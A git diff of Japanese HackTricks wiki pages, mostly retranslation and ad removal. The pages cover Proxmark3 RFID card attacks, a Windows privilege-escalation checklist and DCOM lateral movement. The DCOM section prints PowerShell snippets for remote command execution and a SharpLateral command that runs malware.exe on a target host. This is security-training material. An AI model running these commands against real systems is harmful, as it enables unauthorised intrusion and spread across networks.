GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -15,22 +15,14 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Proxmark3を使用したRFIDシステムの攻撃
|
||||
|
||||
最初に必要なのは[**Proxmark3**](https://proxmark.com)を持っていて、[**ソフトウェアとその依存関係をインストールすること**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)です。
|
||||
最初に必要なのは[**Proxmark3**](https://proxmark.com)を持っていて、[**ソフトウェアとその依存関係をインストールすること**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**です**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)。
|
||||
|
||||
### MIFARE Classic 1KBの攻撃
|
||||
|
||||
それは**16セクター**を持ち、各セクターには**4ブロック**があり、各ブロックには**16B**が含まれています。UIDはセクター0のブロック0にあります(変更できません)。\
|
||||
各セクターにアクセスするには、**2つのキー**(**A**と**B**)が必要で、これらは**各セクターのブロック3**(セクタートレーラー)に保存されています。セクタートレーラーは、**各ブロック**の**読み取りおよび書き込み**権限を与える**アクセスビット**も保存しています。\
|
||||
それは**16セクター**を持ち、それぞれに**4ブロック**があり、各ブロックには**16B**が含まれています。UIDはセクター0のブロック0にあり(変更できません)。\
|
||||
各セクターにアクセスするには、**2つのキー**(**A**と**B**)が必要で、これらは**各セクターのブロック3**(セクタートレーラー)に保存されています。セクタートレーラーは、**2つのキー**を使用して**各ブロック**の**読み取りおよび書き込み**権限を与える**アクセスビット**も保存しています。\
|
||||
2つのキーは、最初のキーを知っていれば読み取り権限を与え、2番目のキーを知っていれば書き込み権限を与えるのに役立ちます(例えば)。
|
||||
|
||||
いくつかの攻撃が実行できます。
|
||||
|
@ -74,26 +66,19 @@ Proxmark3ソフトウェアには、簡単なタスクを実行するために
|
|||
```
|
||||
proxmark3> script run mfkeys
|
||||
```
|
||||
あなたは**タグリーダーをファズ**するためのスクリプトを作成できます。**有効なカード**のデータをコピーするために、**Luaスクリプト**を書いて、1つ以上のランダムな**バイト**を**ランダム化**し、どのイテレーションで**リーダーがクラッシュ**するかを確認します。
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
あなたは**タグリーダーをファズ**するスクリプトを作成できます。**有効なカード**のデータをコピーするために、1つ以上のランダムな**バイト**を**ランダム化**し、**リーダーがクラッシュ**するかどうかを各イテレーションで確認する**Luaスクリプト**を書くだけです。
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、練習する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# チェックリスト - ローカルWindows特権昇格
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,15 +15,7 @@ GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png"
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### **Windowsローカル特権昇格ベクトルを探すための最良のツール:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
### **Windowsローカル特権昇格ベクトルを探すための最良のツール:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
|
||||
### [システム情報](windows-local-privilege-escalation/#system-info)
|
||||
|
||||
|
@ -46,13 +38,13 @@ GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png"
|
|||
* [ ] [**LSA保護**](windows-local-privilege-escalation/#lsa-protection)は?
|
||||
* [ ] [**Credentials Guard**](windows-local-privilege-escalation/#credentials-guard)[?](windows-local-privilege-escalation/#cached-credentials)
|
||||
* [ ] [**キャッシュされた資格情報**](windows-local-privilege-escalation/#cached-credentials)は?
|
||||
* [ ] 何らかの[**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md)があるか?
|
||||
* [ ] 何らかの[**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md)があるか確認する
|
||||
* [ ] [**AppLockerポリシー**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)は?
|
||||
* [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md)は?
|
||||
* [ ] [**ユーザー特権**](windows-local-privilege-escalation/#users-and-groups)
|
||||
* [ ] [**現在の**ユーザーの**特権**](windows-local-privilege-escalation/#users-and-groups)を確認する
|
||||
* [ ] [**特権グループのメンバー**](windows-local-privilege-escalation/#privileged-groups)か?
|
||||
* [ ] [これらのトークンのいずれかが有効か確認する](windows-local-privilege-escalation/#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
|
||||
* [ ] [**特権グループのメンバー**](windows-local-privilege-escalation/#privileged-groups)ですか?
|
||||
* [ ] [これらのトークンのいずれかが有効か確認する](windows-local-privilege-escalation/#token-manipulation):**SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
|
||||
* [ ] [**ユーザーセッション**](windows-local-privilege-escalation/#logged-users-sessions)は?
|
||||
* [ ] [**ユーザーホーム**](windows-local-privilege-escalation/#home-folders)を確認する(アクセス?)
|
||||
* [ ] [**パスワードポリシー**](windows-local-privilege-escalation/#password-policy)を確認する
|
||||
|
@ -60,47 +52,47 @@ GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png"
|
|||
|
||||
### [ネットワーク](windows-local-privilege-escalation/#network)
|
||||
|
||||
* [ ] [**現在の**ネットワーク**情報**](windows-local-privilege-escalation/#network)を確認する
|
||||
* [ ] 外部に制限された**隠れたローカルサービス**を確認する
|
||||
* [ ] **現在の**[**ネットワーク情報**](windows-local-privilege-escalation/#network)を確認する
|
||||
* [ ] **外部に制限された隠れたローカルサービス**を確認する
|
||||
|
||||
### [実行中のプロセス](windows-local-privilege-escalation/#running-processes)
|
||||
|
||||
* [ ] プロセスバイナリの[**ファイルとフォルダの権限**](windows-local-privilege-escalation/#file-and-folder-permissions)
|
||||
* [ ] [**メモリパスワードマイニング**](windows-local-privilege-escalation/#memory-password-mining)
|
||||
* [ ] [**安全でないGUIアプリ**](windows-local-privilege-escalation/#insecure-gui-apps)
|
||||
* [ ] `ProcDump.exe`を介して**興味深いプロセス**で資格情報を盗む?(firefox, chromeなど...)
|
||||
* [ ] **興味深いプロセス**を介して資格情報を盗むために`ProcDump.exe`を使用する?(firefox, chromeなど...)
|
||||
|
||||
### [サービス](windows-local-privilege-escalation/#services)
|
||||
|
||||
* [ ] [**サービスを変更できるか**?](windows-local-privilege-escalation/#permissions)
|
||||
* [ ] [**サービスによって実行される**バイナリを**変更できるか**?](windows-local-privilege-escalation/#modify-service-binary-path)
|
||||
* [ ] [**サービスの**レジストリを**変更できるか**?](windows-local-privilege-escalation/#services-registry-modify-permissions)
|
||||
* [ ] [**引用符なしのサービス**バイナリ**パスを利用できるか**?](windows-local-privilege-escalation/#unquoted-service-paths)
|
||||
* [ ] [**サービスを変更できますか?**](windows-local-privilege-escalation/#permissions)
|
||||
* [ ] [**サービスによって実行される**バイナリを**変更できますか?**](windows-local-privilege-escalation/#modify-service-binary-path)
|
||||
* [ ] [**サービスの**レジストリを**変更できますか?**](windows-local-privilege-escalation/#services-registry-modify-permissions)
|
||||
* [ ] [**引用されていないサービスの**バイナリ**パスを利用できますか?**](windows-local-privilege-escalation/#unquoted-service-paths)
|
||||
|
||||
### [**アプリケーション**](windows-local-privilege-escalation/#applications)
|
||||
|
||||
* [ ] **インストールされたアプリケーションの**[**書き込み権限**](windows-local-privilege-escalation/#write-permissions)
|
||||
* [ ] [**スタートアップアプリケーション**](windows-local-privilege-escalation/#run-at-startup)
|
||||
* [ ] **脆弱な**[**ドライバー**](windows-local-privilege-escalation/#drivers)
|
||||
* [ ] **脆弱な**[**ドライバ**](windows-local-privilege-escalation/#drivers)
|
||||
|
||||
### [DLLハイジャック](windows-local-privilege-escalation/#path-dll-hijacking)
|
||||
|
||||
* [ ] **PATH内の任意のフォルダに書き込めるか**?
|
||||
* [ ] **存在しないDLLを読み込もうとする**既知のサービスバイナリはあるか?
|
||||
* [ ] **任意のバイナリフォルダに書き込めるか**?
|
||||
* [ ] **PATH内の任意のフォルダに書き込むことができますか?**
|
||||
* [ ] **存在しないDLLを読み込もうとする**既知のサービスバイナリはありますか?
|
||||
* [ ] **任意のバイナリフォルダに書き込むことができますか?**
|
||||
|
||||
### [ネットワーク](windows-local-privilege-escalation/#network)
|
||||
|
||||
* [ ] ネットワークを列挙する(共有、インターフェース、ルート、隣接、...)
|
||||
* [ ] localhost (127.0.0.1)でリッスンしているネットワークサービスに特に注意を払う
|
||||
* [ ] localhost(127.0.0.1)でリッスンしているネットワークサービスに特別な注意を払う
|
||||
|
||||
### [Windows資格情報](windows-local-privilege-escalation/#windows-credentials)
|
||||
|
||||
* [ ] [**Winlogon**](windows-local-privilege-escalation/#winlogon-credentials)資格情報
|
||||
* [ ] [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault)の資格情報は使用できるか?
|
||||
* [ ] [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault)の資格情報は使用できますか?
|
||||
* [ ] 興味深い[**DPAPI資格情報**](windows-local-privilege-escalation/#dpapi)は?
|
||||
* [ ] 保存された[**Wifiネットワーク**](windows-local-privilege-escalation/#wifi)のパスワードは?
|
||||
* [ ] [**保存されたRDP接続**](windows-local-privilege-escalation/#saved-rdp-connections)に興味深い情報はあるか?
|
||||
* [ ] [**保存されたRDP接続**](windows-local-privilege-escalation/#saved-rdp-connections)に興味深い情報は?
|
||||
* [ ] [**最近実行されたコマンド**](windows-local-privilege-escalation/#recently-run-commands)のパスワードは?
|
||||
* [ ] [**リモートデスクトップ資格情報マネージャー**](windows-local-privilege-escalation/#remote-desktop-credential-manager)のパスワードは?
|
||||
* [ ] [**AppCmd.exe**が存在する](windows-local-privilege-escalation/#appcmd-exe)?資格情報は?
|
||||
|
@ -110,37 +102,31 @@ GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png"
|
|||
|
||||
* [ ] **Putty:** [**資格情報**](windows-local-privilege-escalation/#putty-creds) **と** [**SSHホストキー**](windows-local-privilege-escalation/#putty-ssh-host-keys)
|
||||
* [ ] [**レジストリ内のSSHキー**](windows-local-privilege-escalation/#ssh-keys-in-registry)は?
|
||||
* [ ] [**無人ファイル**](windows-local-privilege-escalation/#unattended-files)にパスワードは?
|
||||
* [ ] [**SAM & SYSTEM**](windows-local-privilege-escalation/#sam-and-system-backups)のバックアップは?
|
||||
* [ ] [**無人ファイル**](windows-local-privilege-escalation/#unattended-files)のパスワードは?
|
||||
* [ ] [**SAM & SYSTEM**](windows-local-privilege-escalation/#sam-and-system-backups)のバックアップはありますか?
|
||||
* [ ] [**クラウド資格情報**](windows-local-privilege-escalation/#cloud-credentials)は?
|
||||
* [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/#mcafee-sitelist.xml)ファイルは?
|
||||
* [ ] [**キャッシュされたGPPパスワード**](windows-local-privilege-escalation/#cached-gpp-pasword)は?
|
||||
* [ ] [**IIS Web構成ファイル**](windows-local-privilege-escalation/#iis-web-config)にパスワードは?
|
||||
* [ ] [**ウェブログ**](windows-local-privilege-escalation/#logs)に興味深い情報はあるか?
|
||||
* [ ] ユーザーに[**資格情報を要求する**](windows-local-privilege-escalation/#ask-for-credentials)か?
|
||||
* [ ] [**IIS Web構成ファイル**](windows-local-privilege-escalation/#iis-web-config)のパスワードは?
|
||||
* [ ] [**ウェブログ**](windows-local-privilege-escalation/#logs)に興味深い情報は?
|
||||
* [ ] ユーザーに[**資格情報を要求する**](windows-local-privilege-escalation/#ask-for-credentials)つもりですか?
|
||||
* [ ] [**ごみ箱内の興味深いファイル**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)は?
|
||||
* [ ] 他の[**資格情報を含むレジストリ**](windows-local-privilege-escalation/#inside-the-registry)は?
|
||||
* [ ] [**ブラウザデータ**](windows-local-privilege-escalation/#browsers-history)内(dbs、履歴、ブックマーク、...)は?
|
||||
* [ ] [**ブラウザデータ内**](windows-local-privilege-escalation/#browsers-history)(データベース、履歴、ブックマーク、...)は?
|
||||
* [ ] [**ファイルとレジストリ内の一般的なパスワード検索**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry)は?
|
||||
* [ ] パスワードを自動的に検索するための[**ツール**](windows-local-privilege-escalation/#tools-that-search-for-passwords)
|
||||
* [ ] [**パスワードを自動的に検索するツール**](windows-local-privilege-escalation/#tools-that-search-for-passwords)は?
|
||||
|
||||
### [漏洩したハンドラー](windows-local-privilege-escalation/#leaked-handlers)
|
||||
|
||||
* [ ] 管理者によって実行されるプロセスのハンドラーにアクセスできるか?
|
||||
* [ ] 管理者によって実行されるプロセスのハンドラーにアクセスできますか?
|
||||
|
||||
### [パイプクライアントの偽装](windows-local-privilege-escalation/#named-pipe-client-impersonation)
|
||||
### [パイプクライアントのなりすまし](windows-local-privilege-escalation/#named-pipe-client-impersonation)
|
||||
|
||||
* [ ] 悪用できるか確認する
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## MMC20.Application
|
||||
|
||||
**この技術に関する詳細は、[https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)の元の投稿を確認してください。**
|
||||
|
@ -37,14 +29,14 @@ COMオブジェクト、[MMC Application Class (MMC20.Application)](https://tech
|
|||
```powershell
|
||||
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
|
||||
```
|
||||
このコマンドはDCOMアプリケーションに接続し、COMオブジェクトのインスタンスを返します。次に、ExecuteShellCommandメソッドを呼び出してリモートホスト上でプロセスを実行できます。このプロセスは以下のステップを含みます:
|
||||
このコマンドはDCOMアプリケーションに接続し、COMオブジェクトのインスタンスを返します。次にExecuteShellCommandメソッドを呼び出して、リモートホスト上でプロセスを実行できます。このプロセスは以下のステップを含みます:
|
||||
|
||||
Check methods:
|
||||
```powershell
|
||||
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
|
||||
$com.Document.ActiveView | Get-Member
|
||||
```
|
||||
RCEを取得する:
|
||||
RCEを取得する:
|
||||
```powershell
|
||||
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
|
||||
$com | Get-Member
|
||||
|
@ -59,7 +51,7 @@ ls \\10.10.10.10\c$\Users
|
|||
|
||||
**MMC20.Application** オブジェクトは、明示的な "LaunchPermissions" が欠如しており、デフォルトで管理者のアクセスを許可する権限に設定されています。詳細については、スレッドを [こちら](https://twitter.com/tiraniddo/status/817532039771525120) で確認でき、明示的な Launch Permission を持たないオブジェクトをフィルタリングするために [@tiraniddo](https://twitter.com/tiraniddo) の OleView .NET の使用が推奨されます。
|
||||
|
||||
特に、`ShellBrowserWindow` と `ShellWindows` の2つのオブジェクトは、明示的な Launch Permissions が欠如しているため、注目されました。`HKCR:\AppID\{guid}` の下に `LaunchPermission` レジストリエントリが存在しないことは、明示的な権限がないことを示しています。
|
||||
特に、`ShellBrowserWindow` と `ShellWindows` の2つのオブジェクトは、明示的な Launch Permissions が欠如しているため強調されました。`HKCR:\AppID\{guid}` の下に `LaunchPermission` レジストリエントリが存在しないことは、明示的な権限がないことを示しています。
|
||||
|
||||
### ShellWindows
|
||||
ProgID が欠如している `ShellWindows` に対しては、.NET メソッド `Type.GetTypeFromCLSID` と `Activator.CreateInstance` を使用して、その AppID を用いてオブジェクトのインスタンス化を行います。このプロセスでは、OleView .NET を利用して `ShellWindows` の CLSID を取得します。インスタンス化された後は、`WindowsShell.Item` メソッドを通じて相互作用が可能で、`Document.Application.ShellExecute` のようなメソッド呼び出しが行えます。
|
||||
|
@ -73,9 +65,9 @@ $item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\sy
|
|||
```
|
||||
### Lateral Movement with Excel DCOM Objects
|
||||
|
||||
横移動は、DCOM Excelオブジェクトを悪用することで達成できます。詳細情報については、[Cybereasonのブログ](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom)でのDCOMを介した横移動のためのExcel DDEの活用に関する議論を読むことをお勧めします。
|
||||
ラテラルムーブメントは、DCOM Excelオブジェクトを悪用することで達成できます。詳細情報については、[Cybereasonのブログ](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom)でのDCOMを介したラテラルムーブメントのためのExcel DDEの活用に関する議論を読むことをお勧めします。
|
||||
|
||||
Empireプロジェクトは、DCOMオブジェクトを操作することによってExcelを使用したリモートコード実行(RCE)を示すPowerShellスクリプトを提供しています。以下は、[EmpireのGitHubリポジトリ](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1)で入手可能なスクリプトからの抜粋で、RCEのためにExcelを悪用するさまざまな方法を示しています:
|
||||
Empireプロジェクトは、DCOMオブジェクトを操作することによってExcelを使用したリモートコード実行(RCE)を示すPowerShellスクリプトを提供しています。以下は、[EmpireのGitHubリポジトリ](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1)にあるスクリプトからの抜粋で、RCEのためにExcelを悪用するさまざまな方法を示しています:
|
||||
```powershell
|
||||
# Detection of Office version
|
||||
elseif ($Method -Match "DetectOffice") {
|
||||
|
@ -111,7 +103,7 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
|||
## 自動ツール
|
||||
|
||||
* Powershellスクリプト [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1) は、他のマシンでコードを実行するためのすべてのコメントされた方法を簡単に呼び出すことができます。
|
||||
* また、[**SharpLateral**](https://github.com/mertdas/SharpLateral) を使用することもできます:
|
||||
* [**SharpLateral**](https://github.com/mertdas/SharpLateral) を使用することもできます:
|
||||
```bash
|
||||
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
||||
```
|
||||
|
@ -120,12 +112,6 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
|||
* [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)
|
||||
* [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -136,7 +122,7 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,39 +1,26 @@
|
|||
# アクセストークン
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
